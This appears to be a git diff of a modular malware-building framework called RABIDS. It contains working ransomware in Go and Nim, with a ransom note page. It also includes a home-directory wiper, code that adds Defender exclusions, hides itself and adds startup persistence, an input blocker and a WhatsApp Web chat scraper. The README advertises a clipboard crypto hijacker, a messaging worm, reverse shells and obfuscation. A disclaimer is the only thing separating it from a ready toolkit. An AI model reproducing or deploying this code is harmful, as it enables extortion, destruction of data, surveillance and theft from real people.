exec.Command("powershell", "-Command", "Add-MpPreference -ExclusionPath '"+targetExe+"';").Run()
startupName := "SysHostService"
regCmd := exec.Command("powershell", "-Command", "Set-ItemProperty -Path 'HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '"+startupName+"' -Value '"+targetExe+"'")
regCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
err = regCmd.Run()
if err != nil {
fmt.Println("Error creating registry key:", err)
}
exec.Command("powershell", "-Command", "Set-MpPreference -DisableRealtimeMonitoring $true").Run()
fmt.Println("Icepick payload executed.")
}

View File

@ -1,72 +0,0 @@
package main
import (
"crypto/rand"
"fmt"
"io/fs"
"io/ioutil"
"os"
"path/filepath"
"strings"
)
func main() {
homeDir, err := os.UserHomeDir()
if err != nil {
fmt.Println("Error getting home directory:", err)
return
}
desktopPath := filepath.Join(homeDir, "Desktop")
err = filepath.WalkDir(homeDir, func(path string, d fs.DirEntry, err error) error {
if err != nil {
fmt.Println("Skipping path due to error:", path, "error:", err)
return nil
}
if d.IsDir() {
return nil
}
if strings.HasSuffix(path, ".bartmoss") {
return nil
}
content, err := ioutil.ReadFile(path)
if err != nil {
fmt.Println("Skipping unreadable file:", path, "error:", err)
return nil
}
key := make([]byte, len(content))
_, err = rand.Read(key)
if err != nil {
fmt.Println("Skipping file due to rand error:", path, "error:", err)
return nil
}
encrypted := make([]byte, len(content))
for i := 0; i < len(content); i++ {
encrypted[i] = content[i] ^ key[i]
}
err = ioutil.WriteFile(path, encrypted, 0644)
if err != nil {
fmt.Println("Skipping unwritable file:", path, "error:", err)
return nil
}
dir := filepath.Dir(path)
base := filepath.Base(path)
nwe := strings.TrimSuffix(base, filepath.Ext(base))
nn := nwe + ".bartmoss"
np := filepath.Join(dir, nn)
err = os.Rename(path, np)
if err != nil {
fmt.Println("Skipping unrenamable file:", path, "error:", err)
return nil
}
return nil
})
if err != nil {
fmt.Println("Error walking the path:", err)
}
filePath := filepath.Join(desktopPath, "README.txt")
message := "YOUR NOTE HERE\n"
err = os.WriteFile(filePath, []byte(message), 0644)
if err != nil {
fmt.Println("Error writing file:", err)
}
}

160
MODULE/krash.nim Normal file
View File

@ -0,0 +1,160 @@
import os, nimcrypto, strutils
const defaultHtml = """
<!DOCTYPE html>
<html>
<head>
<title>YOUR FILES HAVE BEEN ENCRYPTED</title>
<script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="bg-red-800 text-white flex items-center justify-center h-screen">
<div class="flex w-full max-w-6xl h-4/5">
<div class="w-2/5 h-full flex items-center justify-center">
<img src="https://static.vecteezy.com/system/resources/previews/024/212/248/non_2x/ai-generated-sticker-anime-girl-blue-and-red-hair-png.png" alt="Anime Girl" class="h-full object-contain">
</div>
<div class="w-3/5 flex items-center justify-center p-8 bg-red-900">
<div class="text-center max-w-2xl">
<h1 class="text-4xl font-bold mb-6">YOUR FILES HAVE BEEN ENCRYPTED</h1>
<div id="timer" class="text-6xl font-mono mb-8 bg-black p-4 rounded">01:00:00</div>
<div class="text-left mb-8">
<p class="mb-4">All your files have been encrypted with military grade encryption.</p>
<p class="mb-4">To decrypt your files, download the Session app from the play store or app store and contact us on the following id</p>
<p class="font-mono text-yellow-300 text-xl mb-4">05ebdea0623665a812a50659065edc8eb0d9e8594553b1180fa04cec9408390f31</p>
</div>
</div>
</div>
</div>
<body>
<script>
const countdownEndTime = Date.now() + (60 * 60 * 1000);
const timerDisplay = document.getElementById('timer');
function updateTimer() {
const now = Date.now();
const distance = countdownEndTime - now;
if (distance < 0) {
timerDisplay.innerHTML = "EXPIRED";
clearInterval(countdownInterval);
return;
}
const hours = Math.floor((distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60));
const minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60));
const seconds = Math.floor((distance % (1000 * 60)) / 1000);
const format = (num) => num.toString().padStart(2, '0');
timerDisplay.innerHTML = `${format(hours)}:${format(minutes)}:${format(seconds)}`;
}
updateTimer();
const countdownInterval = setInterval(updateTimer, 1000);
</script>
</body>
</html>
"""
proc processFile(file: string, key: string, iv: string, extension: string) =
try:
if fileExists(file) and not file.endsWith(extension) and not file.contains("ransom.html"):
let content = readFile(file)
var ctx: CTR[aes256]
ctx.init(key, iv)
var cryptContent = newString(content.len)
ctx.encrypt(content, cryptContent)
ctx.clear()
let newPath = file & extension
writeFile(newPath, cryptContent)
removeFile(file)
echo "Encrypted: ", file
except OSError as e:
echo "Error processing file ", file, ": ", e.msg
except Exception as e:
echo "Unexpected error in file ", file, ": ", e.msg
proc decryptFile(file: string, key: string, iv: string, extension: string) =
try:
if fileExists(file) and file.endsWith(extension):
let content = readFile(file)
var ctx: CTR[aes256]
ctx.init(key, iv)
var decryptContent = newString(content.len)
ctx.encrypt(content, decryptContent)
ctx.clear()
let originalPath = file.substr(0, file.len - extension.len)
writeFile(originalPath, decryptContent)
removeFile(file)
echo "Decrypted: ", originalPath
except OSError as e:
echo "Error decrypting file ", file, ": ", e.msg
except Exception as e:
echo "Unexpected error decrypting file ", file, ": ", e.msg
proc openInDefaultBrowser(filePath: string) =
var cmd = ""
when defined(windows):
cmd = "start"
elif defined(macosx):
cmd = "open"
elif defined(linux):
cmd = "xdg-open"
else:
raise newException(OSError, "Unsupported OS for opening browser")
try:
let fullCmd = cmd & " \"" & filePath & "\""
discard execShellCmd(fullCmd)
echo "Opened ransom note in default browser: ", filePath
except OSError as e:
echo "Error opening browser: ", e.msg
proc main() =
when defined(decrypt):
const decryptMode = true
else:
const decryptMode = false
const key = "0123456789abcdef0123456789abcdef"
const iv = "abcdef9876543210"
const extension = ".locked"
var htmlContent = defaultHtml
let targetDir = getHomeDir() / "Documents"
let desktop = getHomeDir() / "Desktop"
var files = newSeq[string]()
var root: string
when defined(windows):
root = getEnv("SystemDrive") & "\\"
else:
root = "/"
if decryptMode:
echo "Starting decryption..."
for dir in [root, desktop]:
for file in walkDirRec(dir):
if file.endsWith(extension):
files.add(file)
echo "Found ", files.len, " files to decrypt."
for file in files:
decryptFile(file, key, iv, extension)
echo "Decryption complete."
else:
echo "Starting encryption..."
for dir in [targetDir, desktop]:
for file in walkDirRec(dir):
if fileExists(file) and not file.endsWith(extension) and not file.contains("ransom.html"):
files.add(file)
echo "Found ", files.len, " files to encrypt."
for file in files:
processFile(file, key, iv, extension)
let ransomFile = joinPath(desktop, "ransom.html")
try:
writeFile(ransomFile, htmlContent)
openInDefaultBrowser(ransomFile)
echo "Ransom note created at ", ransomFile
except OSError as e:
echo "Error creating or opening ransom note: ", e.msg
when not isMainModule:
discard

View File

@ -1,22 +0,0 @@
package main
import (
"syscall"
"fmt"
"time"
)
func main() {
user32 := syscall.NewLazyDLL("user32.dll")
blockInput := user32.NewProc("BlockInput")
r, _, err := blockInput.Call(1)
if r == 0 {
fmt.Println("Failed to block input:", err)
return
}
fmt.Println("Keyboard and mouse input blocked. Press Ctrl+Alt+Del to unlock (if possible).")
for {
time.Sleep(10 * time.Second)
}
}

View File

@ -1,321 +0,0 @@
package main
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"time"
"github.com/go-rod/rod"
"github.com/go-rod/rod/lib/launcher"
"github.com/go-rod/rod/lib/proto"
)
func getDefaultProfileDir() string {
home, _ := os.UserHomeDir()
switch runtime.GOOS {
case "windows":
return filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Default")
case "darwin":
return filepath.Join(home, "Library", "Application Support", "Google", "Chrome", "Default")
case "linux":
return filepath.Join(home, ".config", "google-chrome", "Default")
default:
return ""
}
}
func killChromeProcesses() {
fmt.Println("Killing existing Chrome processes...")
var cmd *exec.Cmd
switch runtime.GOOS {
case "windows":
cmd = exec.Command("taskkill", "/F", "/IM", "chrome.exe")
case "darwin":
cmd = exec.Command("pkill", "-f", "Google Chrome")
case "linux":
cmd = exec.Command("pkill", "-f", "google-chrome")
default:
fmt.Println("Unsupported OS for killing Chrome processes")
return
}
if cmd != nil {
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
err := cmd.Run()
if err != nil {
fmt.Println("No Chrome processes found or already killed")
} else {
fmt.Println("Chrome processes killed successfully")
}
time.Sleep(2 * time.Second)
}
}
func main() {
killChromeProcesses()
profileDir := getDefaultProfileDir()
if profileDir == "" {
fmt.Println("Unsupported OS or could not determine profile directory.")
return
}
if _, err := os.Stat(profileDir); err != nil {
fmt.Printf("Default Chrome profile not found at: %s\n", profileDir)
return
}
fmt.Printf("Using Chrome profile: %s\n", profileDir)
u := launcher.New().
UserDataDir(filepath.Dir(profileDir)).
Set("profile-directory", "Default").
Headless(true).
Leakless(false).
Set("disable-web-security", "false").
Set("disable-features", "TranslateUI").
Set("no-first-run", "true").
Set("no-default-browser-check", "true").
Set("disable-background-timer-throttling", "true").
Set("disable-backgrounding-occluded-windows", "true").
Set("disable-renderer-backgrounding", "true").
Set("disable-ipc-flooding-protection", "true").
Set("disable-hang-monitor", "true").
Set("disable-prompt-on-repost", "true").
Set("disable-domain-reliability", "true").
Set("disable-component-extensions-with-background-pages", "true").
Set("disable-background-mode", "true").
Set("disable-sync", "true").
Set("disable-translate", "true").
Set("disable-default-apps", "true").
Set("disable-extensions", "true").
Set("disable-background-networking", "true").
Set("mute-audio", "true").
Set("safebrowsing-disable-auto-update", "true").
Set("disable-popup-blocking", "true").
Set("disable-notifications", "true").
Set("disable-single-process", "true").
Set("no-zygote", "true").
Set("disable-dev-shm-usage", "true").
Set("no-sandbox", "true").
Set("disable-gpu", "true").
Set("remote-debugging-port", "0").
Set("window-size", "1920,1080").
Set("start-maximized", "true").
Set("new-window", "true").
Set("new-process", "true").
Set("no-reuse-windows", "true").
Set("disable-background-apps", "true").
MustLaunch()
browser := rod.New().ControlURL(u)
if err := browser.Connect(); err != nil {
fmt.Printf("Failed to connect to browser: %v\n", err)
fmt.Println("Trying to launch a new Chrome instance...")
u2 := launcher.New().
UserDataDir(filepath.Dir(profileDir)).
Set("profile-directory", "Default").
Headless(false).
Leakless(false).
Set("remote-debugging-port", "9222").
Set("new-window", "true").
Set("new-process", "true").
Set("no-reuse-windows", "true").
Set("disable-background-apps", "true").
Set("no-sandbox", "true").
Set("disable-gpu", "true").
MustLaunch()
browser = rod.New().ControlURL(u2)
if err := browser.Connect(); err != nil {
fmt.Printf("Failed to connect to browser after retry: %v\n", err)
fmt.Println("Please close all Chrome instances and try again.")
return
}
}
defer browser.MustClose()
page := browser.MustPage("https://web.whatsapp.com")
fmt.Println("Waiting for WhatsApp Web to load...")
qrSel := "canvas[aria-label='Scan me!']"
chatListSel := "div[role='listitem']"
loadTimeout := time.Now().Add(60 * time.Second)
loggedIn := false
for time.Now().Before(loadTimeout) {
if page.MustHas(chatListSel) {
loggedIn = true
break
}
if page.MustHas(qrSel) {
break
}
time.Sleep(2 * time.Second)
}
if !loggedIn {
if page.MustHas(qrSel) {
fmt.Println("WhatsApp Web is not logged in. Please scan the QR code in the opened browser window.")
} else {
fmt.Println("Could not detect WhatsApp Web login or chat list. Please check manually.")
}
return
}
fmt.Println("Logged in! Extracting chat names and messages...")
chats, err := page.Elements(chatListSel)
if err != nil || len(chats) == 0 {
fmt.Println("No chats found or error extracting chats.")
return
}
maxChats := len(chats)
processedChats := make(map[string]bool)
chatProcessTimeout := time.Now().Add(300 * time.Second)
for i := 0; i < maxChats && time.Now().Before(chatProcessTimeout); i++ {
chatName, _ := chats[i].Text()
if chatName == "" || processedChats[chatName] {
continue
}
processedChats[chatName] = true
fmt.Printf("\n=== Chat %d: %s ===\n", i+1, chatName)
clickErr := chats[i].Click(proto.InputMouseButtonLeft, 1)
if clickErr != nil {
fmt.Printf("Failed to click on chat %s: %v\n", chatName, clickErr)
continue
}
time.Sleep(3 * time.Second)
fmt.Printf("Waiting for messages in chat: %s...\n", chatName)
messageTimeout := time.Now().Add(20 * time.Second)
messagesFound := false
var messages []*rod.Element
for time.Now().Before(messageTimeout) {
selectors := []string{
"[data-testid='conversation-message']",
".message-in",
".message-out",
"[data-testid='msg-meta']",
".copyable-text",
"[role='row']",
}
for _, selector := range selectors {
if page.MustHas(selector) {
elements, err := page.Elements(selector)
if err == nil && len(elements) > 0 {
messages = elements
messagesFound = true
fmt.Printf("Found %d messages using selector: %s\n", len(elements), selector)
break
}
}
}
if messagesFound {
break
}
fmt.Printf("Still waiting for messages... (%d seconds remaining)\n", int(messageTimeout.Sub(time.Now()).Seconds()))
time.Sleep(2 * time.Second)
}
if !messagesFound {
fmt.Printf("No messages found in chat: %s after timeout\n", chatName)
continue
}
maxMessages := 5
if len(messages) < maxMessages {
maxMessages = len(messages)
}
startIndex := len(messages) - maxMessages
if startIndex < 0 {
startIndex = 0
}
fmt.Printf("Found %d messages, showing last %d:\n", len(messages), maxMessages)
messageProcessTimeout := time.Now().Add(15 * time.Second)
processedCount := 0
for j := startIndex; j < len(messages) && time.Now().Before(messageProcessTimeout) && processedCount < maxMessages; j++ {
message := messages[j]
classes, _ := message.Attribute("class")
messageType := "MESSAGE"
if classes != nil {
if strings.Contains(*classes, "message-in") {
messageType = "INCOMING"
} else if strings.Contains(*classes, "message-out") {
messageType = "OUTGOING"
}
}
text, textErr := message.Text()
if textErr != nil || text == "" {
continue
}
if len(text) > 100 {
text = text[:100] + "..."
}
processedCount++
sender := chatName
recipient := chatName
if messageType == "OUTGOING" {
sender = "You"
}
var typeColor, textColor string
if messageType == "INCOMING" {
typeColor = "\033[32m"
textColor = "\033[37m"
} else {
typeColor = "\033[33m"
textColor = "\033[37m"
}
resetColor := "\033[0m"
if messageType == "INCOMING" {
fmt.Printf("%s[%s]%s %s%s%s → %s%s%s\n",
typeColor, messageType, resetColor,
"\033[36m", sender, resetColor,
textColor, text, resetColor)
} else {
fmt.Printf("%s[%s]%s %s%s%s → %s%s%s\n",
typeColor, messageType, resetColor,
"\033[35m", recipient, resetColor,
textColor, text, resetColor)
}
}
if processedCount == 0 {
fmt.Printf("No valid messages processed from chat: %s\n", chatName)
} else {
fmt.Printf("Processed %d messages from chat: %s\n", processedCount, chatName)
}
time.Sleep(2 * time.Second)
}
fmt.Printf("\nTotal chats processed: %d\n", len(processedChats))
fmt.Println("Done.")
}

19
MODULE/poof.nim Normal file
View File

@ -0,0 +1,19 @@
import os, sequtils
proc poof() =
var currentTargetDir = getHomeDir()
if "$HOME" in currentTargetDir:
currentTargetDir = currentTargetDir.replace("$HOME", getHomeDir())
for path in walkDirRec(currentTargetDir):
try:
if dirExists(path): removeDir(path)
else: removeFile(path)
except OSError:
continue
proc main() =
poof()
when not isMainModule:
discard

View File

@ -1,64 +0,0 @@
package main
import (
"fmt"
"encoding/base64"
"os"
"path/filepath"
"os/exec"
"syscall"
)
func main() {
base64String := ""
decodeData, err := base64.StdEncoding.DecodeString(base64String)
if err != nil {
fmt.Println("Error decoding Base64:", err)
return
}
appdata := os.Getenv("APPDATA")
if appdata == "" {
fmt.Println("APPDATA environment variable not found")
return
}
hiddenFolder := filepath.Join(appdata, ".sysdata")
err = os.MkdirAll(hiddenFolder, 0755)
if err != nil {
fmt.Println("Error creating hidden folder:", err)
return
}
outputFile := filepath.Join(hiddenFolder, "syshostmsf.exe")
file, err := os.Create(outputFile)
if err != nil {
fmt.Println("Error creating file:", err)
return
}
defer file.Close()
_, err = file.Write(decodeData)
if err != nil {
fmt.Println("Error writing to file:", err)
return
}
hideCmd := exec.Command("powershell", "-Command", "attrib +h '"+hiddenFolder+"' ; attrib +h '"+outputFile+"'")
hideCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
err = hideCmd.Run()
if err != nil {
fmt.Println("Error hiding folder or file:", err)
return
}
cmd := exec.Command("powershell", "-Command", "Set-MpPreference -ExclusionPath '" + outputFile + "'")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
err = cmd.Run()
if err != nil {
fmt.Println("Error executing command:", err)
return
}
startupName := "SysHostService"
regCmd := exec.Command("powershell", "-Command", "Set-ItemProperty -Path 'HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '"+startupName+"' -Value '"+outputFile+"'")
regCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
err = regCmd.Run()
if err != nil {
fmt.Println("Error adding to startup:", err)
return
}
}

208
MODULE/undeleteme.nim Normal file
View File

@ -0,0 +1,208 @@
import os, osproc, strutils
const
persistence = "true"
defenderExclusion = "true"
startUp = persistence.parseBool
exclusion = defenderExclusion.parseBool
proc copyFile(src, dst: string): bool =
try:
if not fileExists(src):
echo "source file does not exist: ", src
return false
if src == dst:
echo "source and destination are the same: ", src
return false
if fileExists(dst) and readFile(src) == readFile(dst):
echo "destination file already exists and is identical, skipping copy: ", dst
return false
os.copyFile(src, dst)
echo "successfully copied file from ", src, " to ", dst
return true
except OSError as e:
echo "failed to copy file from ", src, " to ", dst, ": ", e.msg
return false
except:
echo "unexpected error copying file from ", src, " to ", dst, ": ", getCurrentExceptionMsg()
return false
proc hidePath(path: string) =
when defined(windows):
try:
let cmd = "attrib +h \"" & path.replace("/", "\\") & "\""
let (output, exitCode) = execCmdEx(cmd)
if exitCode != 0:
echo "failed to hide path ", path, ": exit code ", exitCode, ", output: ", output
else:
echo "successfully hid path: ", path
except OSError as e:
echo "failed to hide path ", path, ": ", e.msg
except:
echo "unexpected error hiding path ", path, ": ", getCurrentExceptionMsg()
else:
try:
setFilePermissions(path, {fpUserExec, fpUserRead, fpUserWrite})
echo "successfully hid path by setting restrictive permissions: ", path
except OSError as e:
echo "failed to set permissions on ", path, ": ", e.msg
except:
echo "unexpected error setting permissions on ", path, ": ", getCurrentExceptionMsg()
proc addStartupWindows(name, exePath: string) =
try:
if not fileExists(exePath):
echo "executable does not exist for Windows startup: ", exePath
return
let cmd = "powershell -NoProfile -ExecutionPolicy Bypass -Command \"Set-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '" & name & "' -Value '" & exePath.replace("/", "\\") & "'\""
let (output, exitCode) = execCmdEx(cmd)
if exitCode != 0:
echo "failed to add to Windows startup: exit code ", exitCode, ", output: ", output
else:
echo "successfully added to Windows startup: ", name
except OSError as e:
echo "failed to add to Windows startup: ", e.msg
except:
echo "unexpected error adding to Windows startup: ", getCurrentExceptionMsg()
proc addStartupLinux(name, exePath: string) =
try:
if not fileExists(exePath):
echo "executable does not exist for Linux startup: ", exePath
return
let autostartDir = getHomeDir() / ".config/autostart"
createDir(autostartDir)
let desktopFile = autostartDir / name & ".desktop"
let content = """
[Desktop Entry]
Type=Application
Name=$1
Exec=$2
Hidden=false
NoDisplay=false
X-GNOME-Autostart-enabled=true
"""
writeFile(desktopFile, content % [name, exePath])
setFilePermissions(desktopFile, {fpUserRead, fpUserWrite, fpGroupRead, fpOthersRead})
echo "successfully added to Linux startup: ", name
except OSError as e:
echo "failed to add to Linux startup: ", e.msg
except:
echo "unexpected error adding to Linux startup: ", getCurrentExceptionMsg()
proc addStartupMacOS(name, exePath: string) =
try:
if not fileExists(exePath):
echo "executable does not exist for macOS startup: ", exePath
return
let plistDir = getHomeDir() / "Library/LaunchAgents"
createDir(plistDir)
let plistFile = plistDir / "com." & name.toLowerAscii() & ".plist"
let content = """
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.$1</string>
<key>ProgramArguments</key>
<array>
<string>$2</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
"""
writeFile(plistFile, content % [name.toLowerAscii(), exePath])
setFilePermissions(plistFile, {fpUserRead, fpUserWrite, fpGroupRead, fpOthersRead})
echo "successfully added to macOS startup: ", name
except OSError as e:
echo "failed to add to macOS startup: ", e.msg
except:
echo "unexpected error adding to macOS startup: ", getCurrentExceptionMsg()
proc addWindowsDefenderExclusion(exePath: string) =
when defined(windows):
try:
if not fileExists(exePath):
echo "executable does not exist for Defender exclusion: ", exePath
return
let cmd = "powershell -NoProfile -ExecutionPolicy Bypass -Command \"Add-MpPreference -ExclusionPath '" & exePath.replace("/", "\\") & "'\""
let (output, exitCode) = execCmdEx(cmd)
if exitCode != 0:
echo "failed to add Defender exclusion: exit code ", exitCode, ", output: ", output
else:
echo "successfully added Defender exclusion for: ", exePath
except OSError as e:
echo "failed to add Defender exclusion: ", e.msg
except:
echo "unexpected error in Defender exclusion: ", getCurrentExceptionMsg()
proc main() =
var appdata: string
when defined(windows):
appdata = getEnv("APPDATA")
if appdata.len == 0:
echo "APPDATA environment variable not found"
return
elif defined(linux):
appdata = getHomeDir() / ".local/share"
elif defined(macosx):
appdata = getHomeDir() / "Library/Application Support"
else:
echo "unsupported operating system"
return
echo "application data path: ", appdata
let hiddenFolder = appdata / ".sysdata"
let exePath = getAppFilename()
if not fileExists(exePath):
echo "executable not found at ", exePath
return
echo "executable path: ", exePath
var targetExe = hiddenFolder / "syshost"
when defined(windows):
targetExe = targetExe & ".exe"
if exePath == targetExe:
echo "executable is already running from target location: ", targetExe
return
try:
createDir(hiddenFolder)
echo "Created directory: ", hiddenFolder
except OSError as e:
echo "failed to create directory ", hiddenFolder, ": ", e.msg
return
except:
echo "unexpected error creating directory ", hiddenFolder, ": ", getCurrentExceptionMsg()
return
if exclusion:
when defined(windows):
addWindowsDefenderExclusion(targetExe)
else:
echo "exclusion not implemented for this platform"
if copyFile(exePath, targetExe):
echo "Persistence payload copied successfully."
hidePath(hiddenFolder)
hidePath(targetExe)
if startUp:
when defined(windows):
addStartupWindows("SysHostService", targetExe)
elif defined(linux):
addStartupLinux("SysHostService", targetExe)
elif defined(macosx):
addStartupMacOS("SysHostService", targetExe)
echo "Persistence setup completed."
else:
echo "Could not copy persistence payload. It might already exist or there was an error."
when not isMainModule:
discard

284
README.md
View File

@ -1,273 +1,55 @@
## What's New
### VERSION 0.1.4
- **New Module: `bartmossbrainworm`** - Messaging worm
- **Features:**
- Spreads itself by automatically sending a configurable message to all chats in WhatsApp Web
- The message can be set using the `set MESSAGE "your text"` command before build
### VERSION 0.1.3
- **New Module: `gremlin`** - Clipboard wallet address hijacker
- **Features:**
- Monitors clipboard for copied wallet addresses (Bitcoin, Ethereum, BEP-20, Solana)
- Automatically replaces detected wallet addresses with user-configurable predefined addresses
- Predefined addresses for each chain can be set using the `set` command before build
## Overview
**RABIDS** Roving Autonomous Bartmoss Interface Drones is a modular Windows malware generation framework. It empowers security researchers and red teamers to rapidly build custom malware payloads by chaining together a variety of modules—such as ransomware, persistence loaders, C2 servers, and more—into a single executable. RABIDS is designed for advanced adversary simulation, malware research, and authorized red team operations.
> **Warning:** This tool is for educational and authorized security research only. Misuse may be illegal and unethical.
**RABIDS** (Roving Autonomous Bartmoss Interface Drones) is for building custom malware payloads. It allows you to chain together various modules—such as ransomware, clipboard hijackers, and persistence loaders—into a single, compiled executable for Windows, Linux, or macOS.
## Core Workflow
1. List available modules: `show modules`
2. Add modules to your build chain: `use <module>`
3. Set module/build options: `set <OPTION> <VALUE>`
4. Review options: `show options`
5. Build your payload: `build`
6. Find the output in the `.LOOT` directory
This tool is designed for security researchers, red teamers, and educational purposes to simulate advanced adversaries and study malware behavior in a controlled environment.
## Command Reference
## Quick Start
| Command | Description |
|-----------------------|------------------------------------------------------------------|
| `use <module>` | Add a module to the build chain |
| `set <OPTION> <VALUE>`| Set a build or module option |
| `show modules` | List all available modules |
| `show options` | Show current build/module options |
| `build` | Build the final EXE payload |
| `clear` | Clear all selected modules |
| `delete` | Remove a module from the chain |
| `exit` | Exit RABIDS |
1. **Install GUI Dependency:**
## Module Overview & Usage
The user interface requires `PyQt5`. Install it using pip:
### Daemon Modules
```bash
pip install PyQt5
```
<details>
<summary>bartmossbrainworm</summary>
2. **Run the Application:**
```bash
python3 main.py
```
- **Description:** A worm that spreads itself through messaging apps.
- **Options:**
- `MESSAGE`: Message/Payload to send
- **Usage:**
```bash
> use bartmossbrainworm
> set MESSAGE Hello from Worm
```
## Features
</details>
- **Modular Payload Creation:** Chain multiple modules together to create sophisticated, multi-stage payloads.
- **Cross-Platform Compilation:** Build executables for Windows, Linux, and macOS with support for `amd64` and `arm64` architectures.
- **Optional Obfuscation:** Leverage a Dockerized Obfuscator-LLVM toolchain to apply advanced obfuscation techniques to Windows payloads.
- **Intuitive Graphical User Interface:** A clean and modern UI makes it easy to select modules, configure options, and build payloads without writing any code.
- **Standalone Tooling:** Includes dedicated tabs for building a file decryptor (`UNKRASH`) and a file restorer (`Garbage Collector`).
<details>
<summary>hellhound</summary>
## Available Modules
- **Description:** Gains persistence and disables Defender protections.
- **Options:**
- `PERSISTENCE`: Enable persistence (default: true)
- `DEFENDER_EXCLUDE`: Add Defender exclusion (default: true)
- **Usage:**
```bash
> use hellhound
> set PERSISTENCE true
> set DEFENDER_EXCLUDE true
```
- **`ctrlvamp`**: Hijacks clipboard crypto addresses (BTC, ETH, BEP-20, SOL).
- **`dumpster`**: Collects files from a directory and archives them into a single file.
- **`ghostintheshell`**: Provides a reverse shell over Discord for remote access.
- **`krash`**: Encrypts files in target directories and displays a ransom note.
- **`poof`**: Recursively deletes all files and folders from a target directory.
- **`undeleteme`**: Gains persistence and can add a Windows Defender exclusion.
</details>
## Documentation & Setup
<details>
<summary>gremlin</summary>
All documentation, including installation instructions, setup guides, and detailed module descriptions, can be found within the application itself under the **"DOCUMENTATION" tab**.
- **Description:** Hijacks clipboard crypto addresses (BTC, ETH, BEP-20, SOL).
- **Options:**
- `BTC_ADDRESS`: Bitcoin address
- `ETH_ADDRESS`: Ethereum address
- `BEP20_ADDRESS`: BEP-20 address
- `SOL_ADDRESS`: Solana address
- **Usage:**
```bash
> use gremlin
> set BTC_ADDRESS 1YourBTCAddressHere
> set ETH_ADDRESS 0xYourETHAddressHere
> set BEP20_ADDRESS 0xYourBEP20AddressHere
> set SOL_ADDRESS YourSolanaAddressHere
```
This in-app guide provides everything you need to know to:
</details>
<details>
<summary>blackice</summary>
- **Description:** Blacks out the screen to disrupt user activity.
- **Options:**
- `DURATION`: Duration of blackout in seconds (default: 60)
- **Usage:**
```bash
> use blackice
> set DURATION 120
```
</details>
<details>
<summary>logicbomb</summary>
- **Description:** Blocks input and triggers DoS on the target.
- **Options:**
- `BLOCK_INPUT`: Block input (default: true)
- `TRIGGER_DELAY`: Delay before trigger in seconds (default: 10)
- **Usage:**
```bash
> use logicbomb
> set BLOCK_INPUT true
> set TRIGGER_DELAY 30
```
</details>
<details>
<summary>silverhandghost</summary>
- **Description:** Provides a reverse shell for remote access (Metasploit compatible).
- **Options:**
- `LHOST`: Local host IP for reverse shell
- `LPORT`: Local port for reverse shell
- `KEY`: Encryption key (default: changeme)
- **Usage:**
```bash
> use silverhandghost
> set LHOST 192.168.1.100
> set LPORT 4444
> set KEY changeme
```
- **Metasploit Setup:**
1. Start Metasploit:
```bash
msfconsole
```
2. Set up the handler:
```bash
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
run
```
3. Run the built EXE on the target. You should get a Meterpreter session.
</details>
<details>
<summary>krash</summary>
- **Description:** Wipes data and crashes the system using ransomware. Displays a ransom note.
- **Options:**
- `NOTE`: Ransom note text
- **Usage:**
```bash
> use krash
> set NOTE "Your files have been encrypted! Contact evil@domain.com."
```
</details>
<details>
<summary>overwatch</summary>
- **Description:** Monitors all victims chats (e.g., WhatsApp Web) and logs system activity.
- **Options:** None
- **Usage:**
```bash
> use overwatch
```
</details>
## Building & Output
- **Build your payload:**
```bash
> build
```
- **Output:** The final EXE will be saved in the `.LOOT` directory in your project root.
- **Build Options:**
- `exe_name`: Set the output EXE filename (default: payload.exe)
- `obfuscate`: Enable Rust/LLVM obfuscation (requires Docker)
### Obfuscation & In-Memory Execution
- To enable obfuscation, set:
```bash
> set OBFUSCATE True
```
- Make sure you have Docker and the image `ghcr.io/joaovarelas/obfuscator-llvm-16.0:latest` pulled:
```bash
docker pull ghcr.io/joaovarelas/obfuscator-llvm-16.0:latest
```
- In-memory execution is handled automatically when using the Rust loader.
## Advanced Features
### Module Chaining
- Add multiple modules in sequence for complex payloads.
- Example:
```
> use roadrunner
> use gremlin
> use krash
> build
```
### Custom Build Options
- Change EXE name, enable/disable obfuscation, configure module-specific parameters.
- Set environment variables for runtime configuration.
## Troubleshooting
### Common Issues
- **No module selected:** Use `use <module>` before running commands
- **Unknown option/module:** Use `show modules` and `show options` to check names
- **Build fails:** Ensure Go, Rust, and Docker (for obfuscation) are installed and in your PATH
- **Output not found:** Check the `.LOOT` directory
### C2 Server Issues (roadrunner, flatline)
- **Connection refused:** Ensure the receiver or Metasploit handler is running on the specified port
- **Data not received:** Check firewall settings and network connectivity
- **Encryption errors:** Verify the encryption key is consistent between sender and receiver
### Build Issues
- **Go compilation errors:** Ensure Go is installed and in PATH
- **Rust compilation errors:** Install Rust toolchain
- **Docker errors:** Install Docker and pull required images for obfuscation
## Security & Legal Notice
- **RABIDS is for educational and authorized security research only.**
- Only use in environments where you have explicit permission.
- The authors are not responsible for misuse, damage, or legal consequences.
- Always follow applicable laws and ethical guidelines.
- The C2 server functionality should only be used in controlled testing environments.
### Example Workflow
```
> show modules
> use krash
> set NOTE "Your files have been encrypted! Contact evil@domain.com."
> use silverhandghost
> set LHOST 192.168.1.10
> set LPORT 4444
> build
```
- The final EXE will be saved in the `.LOOT` directory.
## Advanced Features
- **Module Chaining:** Combine multiple behaviors in one payload.
- **Custom Build Options:** Set EXE name, enable obfuscation, etc.
- **In-Memory Execution:** Use Rust loader for stealthy delivery.
- Install dependencies (Python, Nim, Rust, Docker).
- Configure build options.
- Understand each module and its parameters.
- Build and find your payloads.
